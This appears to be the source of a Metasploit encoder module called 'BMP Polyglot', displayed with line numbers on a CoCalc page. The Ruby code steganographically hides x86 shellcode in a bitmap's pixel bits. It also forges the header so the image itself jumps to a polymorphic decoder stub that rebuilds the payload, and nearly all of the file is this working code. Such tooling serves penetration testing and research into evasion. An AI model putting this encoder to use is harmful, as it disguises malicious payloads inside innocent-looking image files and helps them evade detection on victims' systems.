CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'rex/poly'
7
=begin
8
[BITS 32]
9

10
global _start
11

12
_start:
13
  pushad                ; backup all registers
14

15
  call get_eip          ; get the value of eip
16
get_eip:
17
  pop esi               ; and put it into esi to use as the source
18
  add esi, 0x30         ; advance esi to skip this decoder stub
19
  mov edi, esi          ; copy it to edi which is where to start writing
20
  add esi, 0x1234       ; increase the source to skip any padding
21
  mov ecx, 0x1234       ; set the byte counter
22

23
get_byte:               ; <---------------------------------------------------------\
24
  xor eax, eax          ; clear eax which is where our newly decoded byte will go   |
25
  push ecx              ; preserve the byte counter                                 |
26
  xor ecx, ecx          ; set the counter to 0                                      |
27
  mov cl, 8             ; set the counter to 8 (for bits)                           |
28
get_bit:                ; <------------------------------------------------------\  |
29
  shl eax, 1            ; shift eax one to make room for the next bit            |  |
30
  mov bl, byte [esi]    ; read a byte from the source register                   |  |
31
  inc esi               ; advance the source register by a byte                  |  |
32
  and bl, 1             ; extract the value of the least-significant bit         |  |
33
  or al, bl             ; put the least-significat bit into eax                  |  |
34
  dec ecx               ; decrement the bit counter                              |  |
35
  jne short get_bit     ; -------------------------------------------------------/  |
36
                        ;                                                           |
37
  ; get bit loop is done                                                            |
38
  pop ecx               ; restore the byte counter                                  |
39
  mov byte [edi], al    ; move the newly decoded byte to its final destination      |
40
  inc edi               ; increment the destination pointer                         |
41
                        ;                                                           |
42
  dec ecx               ; decrement the byte counter                                |
43
  jne get_byte          ; ----------------------------------------------------------/
44

45
  ; get byte loop is done
46
  popad                 ; restore all registers
47

48
=end
49

50
# calculate the smallest increase of a 32-bit little endian integer which is
51
# also a valid x86 jmp opcode of the specified minimum size.
52
class SizeCalculator
53

54
  BYTE_NOPS = [
55
    0x42, # inc edx
56
    0x45, # inc ebp
57
    0x4a, # dec edx
58
    0x4d, # dec ebp
59
    0x90, # xchg eax, eax / nop
60
    0xf5, # cmc
61
    0xf8, # clc
62
    0xf9, # stc
63
    0xfc, # cld
64
    0xfd  # std
65
  ]
66

67
  def initialize(size, minimum_jump)
68
    @original_size = size
69
    raise if minimum_jump < 0 || minimum_jump > 0xff
70
    @minimum_jump = minimum_jump
71
  end
72

73
  def calculate
74
    possibles = []
75
    size = new_size_long
76
    possibles << size unless size.nil?
77
    size = new_size_short
78
    possibles << size unless size.nil?
79
    return if possibles.length == 0
80
    possibles.min
81
  end
82

83
  def new_size_long
84
    size = [ @original_size ].pack('V').unpack('CCCC')
85

86
    0.upto(2) do |i|
87
      byte_0 = size[i]
88
      byte_1 = size[i + 1]
89
      byte_2 = size[i + 2].to_i
90
      byte_3 = size[i + 3].to_i
91
      byte_4 = size[i + 4].to_i
92
      min_jmp = (@minimum_jump - 5 - i)
93

94
      if byte_2 + byte_3 + byte_4 > 0  # this jmp would be too large
95
        if byte_0 > 0xfd
96
          size = increment_size(size, i)
97
        end
98
        size[i] = round_up_to_nop(byte_0)
99
        next
100
      end
101

102
      if byte_0 > 0xe9
103
        if byte_0 > 0xfd
104
          size = increment_size(size, i)
105
        end
106
        size[i] = round_up_to_nop(byte_0)
107
      else
108
        size[i] = 0xe9
109
        byte_1 = min_jmp if byte_1 < min_jmp
110
        size[i + 1] = byte_1
111
        return size.pack('CCCC').unpack('V')[0]
112
      end
113
    end
114
  end
115

116
  def new_size_short
117
    return if @minimum_jump > 0x81  # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
118
    size = [ @original_size ].pack('V').unpack('CCCC')
119

120
    0.upto(2) do |i|
121
      byte_0 = size[i]
122
      byte_1 = size[i + 1]
123
      min_jmp = (@minimum_jump - 2 - i)
124

125
      if byte_0 > 0xeb
126
        if byte_0 > 0xfd
127
          size = increment_size(size, i)
128
        end
129
        size[i] = round_up_to_nop(byte_0)
130
      else
131
        size[i] = 0xeb
132
        if byte_1 > 0x7f
133
          byte_1 = min_jmp
134
          size = increment_size(size, i + 1)
135
        elsif byte_1 < min_jmp
136
          byte_1 = min_jmp
137
        end
138
        size[i + 1] = byte_1
139
        return size.pack('CCCC').unpack('V')[0]
140
      end
141
    end
142
  end
143

144
  def size_to_jmp(size)
145
    jmp = 0
146
    packed = [ size, 0 ].pack('VV')
147

148
    until [ "\xe9", "\xeb" ].include?(packed[0])
149
      packed = packed[1..-1]
150
      jmp += 1
151
    end
152

153
    if packed[0] == "\xe9"
154
      jmp +=  packed[1..4].unpack('V')[0]
155
      jmp += 5
156
    elsif packed[0] == "\xeb"
157
      jmp += packed[1].unpack('C')[0]
158
      jmp += 2
159
    end
160

161
    jmp
162
  end
163

164
  private
165

166
  def increment_size(size, byte)
167
    size = size.pack('CCCC').unpack('V')[0]
168
    size += (0x0100 << byte * 8)
169
    [ size ].pack('V').unpack('CCCC')
170
  end
171

172
  def round_up_to_nop(opcode)
173
    BYTE_NOPS.find { |nop| opcode <= nop }
174
  end
175
end
176

177
class MetasploitModule < Msf::Encoder
178
  Rank = ManualRanking
179

180
  DESTEGO_STUB_SIZE = 53
181
  # bitmap header sizes
182
  BM_HEADER_SIZE = 14
183
  DIB_HEADER_SIZE = 40
184

185
  def initialize
186
    super(
187
      'Name'             => 'BMP Polyglot',
188
      'Description'      => %q{
189
        Encodes a payload in such a way that the resulting binary blob is both
190
        valid x86 shellcode and a valid bitmap image file (.bmp). The selected
191
        bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
192
        and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
193
        must use either 24 or 32 bits per pixel as the color depth and no
194
        compression. This encoder makes absolutely no effort to remove any
195
        invalid characters.
196
      },
197
      'Author'           => 'Spencer McIntyre',
198
      'Arch'             => ARCH_X86,
199
      'License'          => MSF_LICENSE,
200
      'References'       =>
201
        [
202
          [ 'URL'        => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
203
        ]
204
    )
205

206
    register_options(
207
      [
208
        OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
209
      ],
210
      self.class)
211
  end
212

213
  def can_preserve_registers?
214
    true
215
  end
216

217
  def preserves_stack?
218
    true
219
  end
220

221
  def make_pad(size)
222
    (0...size).map { (rand(0x100)).chr }.join
223
  end
224

225
  def modified_registers
226
    # these two registers are modified by the initial BM header
227
    #   B 0x42 inc edx
228
    #   M 0x4d dec ebp
229
    [
230
      Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
231
    ]
232
  end
233

234
  # take the original size and calculate a new one that meets the following
235
  # requirements:
236
  #   - large enough to store all of the image data and the assembly stub
237
  #   - is also a valid x86 jmp instruction to land on the assembly stub
238
  def calc_new_size(orig_size, stub_length)
239
    minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2  # -2 for the offset of the size in the BM header
240
    calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
241
    size = calc.calculate.to_i
242
    raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
243

244
    jump = calc.size_to_jmp(size)
245
    pre_pad = jump - minimum_jump
246
    post_pad = size - orig_size - stub_length - pre_pad
247
    return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }
248
  end
249

250
  # calculate the least number of bits that must be modified to place the
251
  # shellcode buffer into the image data
252
  def calc_required_lsbs(sc_len, data_len)
253
    return 1 if sc_len * 8 <= data_len
254
    return 2 if sc_len * 4 <= data_len
255
    return 4 if sc_len * 2 <= data_len
256
    raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
257
  end
258

259
  # asm stub that will extract the payload from the least significant bits of
260
  # the binary data which directly follows it
261
  def make_destego_stub(shellcode_size, padding, lsbs = 1)
262
    raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
263
    gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
264
    ptr_regs = [ 'edi', 'esi' ].shuffle
265
    # declare logical registers
266
    dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
267
    src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
268
    ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
269
    byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
270
    bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
271

272
    endb = Rex::Poly::SymbolicBlock::End.new
273

274
    get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
275
    get_eip = Proc.new { |b|
276
      [
277
        Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
278
        Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
279
      ].sample.call(b)
280
    }
281
    set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
282
    set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
283
    set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
284
    adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
285
    initialize = Rex::Poly::LogicalBlock.new('initialize',
286
      Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
287
      Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
288
      Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
289
      Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b,  -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
290
      Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
291
    )
292

293
    clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
294
    clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
295
    backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
296
    set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
297
    get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
298
      Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
299
      Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
300
      Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
301
      Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },
302
    )
303
    get_byte_loop.depends_on(initialize)
304

305
    shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
306
      Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }
307
    )
308
    read_byte = Rex::Poly::LogicalBlock.new('read_byte',
309
      Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }
310
    )
311
    inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
312
      Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }
313
    )
314
    inc_src_reg.depends_on(read_byte)
315
    get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
316
      Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }
317
    )
318
    get_lsb.depends_on(read_byte)
319
    put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
320
      Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }
321
    )
322
    put_lsb.depends_on(get_lsb, shift_byte_reg)
323
    jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
324
    jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
325

326
    jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
327
      Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }
328
    )
329
    jmp_bit_loop.depends_on(jmp_bit_loop_body)
330

331
    get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
332
    get_bit_loop.depends_on(get_byte_loop)
333

334
    put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
335
    inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
336
    restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
337
    get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
338
      Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
339
      Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
340
      Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },
341
    )
342
    get_byte_post.depends_on(get_bit_loop)
343

344
    jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
345
      Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr  }
346
    )
347
    jmp_byte_loop_body.depends_on(get_byte_post)
348

349
    finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
350
    finalize.depends_on(jmp_byte_loop_body)
351

352
    return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
353
  end
354

355
  def stegoify(shellcode, data, lsbs = 1)
356
    clr_mask = ((0xff << lsbs) & 0xff)
357
    set_mask = clr_mask ^ 0xff
358
    iter_count = 8 / lsbs
359

360
    shellcode.each_char.with_index do |sc_byte, index|
361
      sc_byte = sc_byte.ord
362
      0.upto(iter_count - 1) do |bit_pos|
363
        data_pos = (index * (8 / lsbs)) + bit_pos
364
        shift = 8 - (lsbs * (bit_pos + 1))
365

366
        d_byte = data[data_pos].ord
367
        d_byte &= clr_mask
368
        d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
369
        data[data_pos] = d_byte.chr
370
      end
371
    end
372

373
    data
374
  end
375

376
  def validate_dib_header(dib_header)
377
    size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')
378
    raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
379
    raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
380
    raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
381
  end
382

383
  def encode(buf, badchars = nil, state = nil, platform = nil)
384
    in_bmp = File.open(datastore['BitmapFile'], 'rb')
385

386
    header = in_bmp.read(BM_HEADER_SIZE)
387
    dib_header = in_bmp.read(DIB_HEADER_SIZE)
388
    image_data = in_bmp.read
389
    in_bmp.close
390

391
    header, original_size, _, _, original_offset = header.unpack('vVvvV')
392
    raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
393
    validate_dib_header(dib_header)
394

395
    lsbs = calc_required_lsbs(buf.length, image_data.length)
396

397
    details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
398
    destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
399
    if destego_stub.length != DESTEGO_STUB_SIZE
400
      # this is likely a coding error caused by updating the make_destego_stub
401
      # method but not the DESTEGO_STUB_SIZE constant
402
      raise EncodingError, 'Bad destego stub size'
403
    end
404

405
    pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
406
    new_offset = original_offset + pre_image_data.length
407

408
    bmp_img = ''
409
    bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
410
    bmp_img << dib_header
411
    bmp_img << pre_image_data
412
    bmp_img << stegoify(buf, image_data, lsbs)
413
    bmp_img
414
  end
415
end
416

417